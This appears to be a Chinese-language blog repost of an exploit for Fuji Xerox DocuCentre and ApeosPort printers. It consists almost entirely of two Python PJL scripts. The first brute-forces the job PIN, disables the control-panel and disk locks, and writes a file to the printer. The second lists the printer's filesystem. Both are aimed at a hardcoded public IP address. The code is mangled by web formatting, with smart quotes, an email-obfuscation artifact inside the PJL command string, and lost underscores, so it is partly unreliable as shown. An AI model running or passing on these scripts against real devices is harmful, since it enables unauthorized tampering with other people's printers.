1. 程式人生 > >富士施樂 DocuCentre-V 3065 印表機遠端命令執行漏洞

富士施樂 DocuCentre-V 3065 印表機遠端命令執行漏洞

直接上程式碼:

Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution

Date: 2018-09-05

Exploit Author: vr_system

Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V

Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070

CVE : N/A

POC:Ability to write files to the printer

#!/usr/bin/env python

-- coding: UTF-8 --

import socket import time PJL_START = "\033%[email protected] " PJL_FINISH = “\033%-12345X\r\n”

def Buildsocket(ip,port=9100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.settimeout(5) try: sock.connect((ip, port)) except: print “[!*]-ip-%s-can’t connect–” % ip return ‘error’ for i in range(500): print"bypass pin:{0}".format(i) PJL_INFO_ID = “”“JOB PASSWORD={0}\r\n”"".format(i) DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = “”“DEFAULT PASSWORD=0\r\n”"" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID)

PJL_INFO_ID = """DEFAULT CPLOCK=OFF\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  
PJL_INFO_ID = """DEFAULT DISKLOCK=OFF\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  

PJL_INFO_ID = """FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME="0:/test4"\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  
try:
    device = sock.recv(1024)
except:pass
PJL_INFO_ID = """FSUPLOAD NAME="0:/test4" OFFSET=0 SIZE=4\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  
try:
    device = sock.recv(1024)
except:pass
finally:
    sock.close()
print "OK"

if name == ‘main’: ip = “118.42.125.192” Buildsocket(ip, port=9100)

POC:Ability to view files in the printer

##!/usr/bin/env python

-- coding: UTF-8 --

import socket PJL_START = "\033%[email protected] " PJL_FINISH = “\033%-12345X\r\n”

def Buildsocket(ip, port=9100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.settimeout(5) try: sock.connect((ip, port)) except: print “[!]-ip-%s-can’t connect–" % ip return ‘error’ PJL_INFO_ID = “”“FSDIRLIST NAME=“0:/” ENTRY=1 COUNT=65535"”" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass PJL_INFO_ID = “”“FSDIRLIST NAME=“0:/” ENTRY=1"”" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) # try: device = sock.recv(1024) except: return ‘No’ print "[!]-ip-%s-is-ok\r\ndeviceidis-%s” % (str(ip), device) sock.close() return ‘OK’ if name == ‘main’: Buildsocket(“118.42.125.192”, port=9100)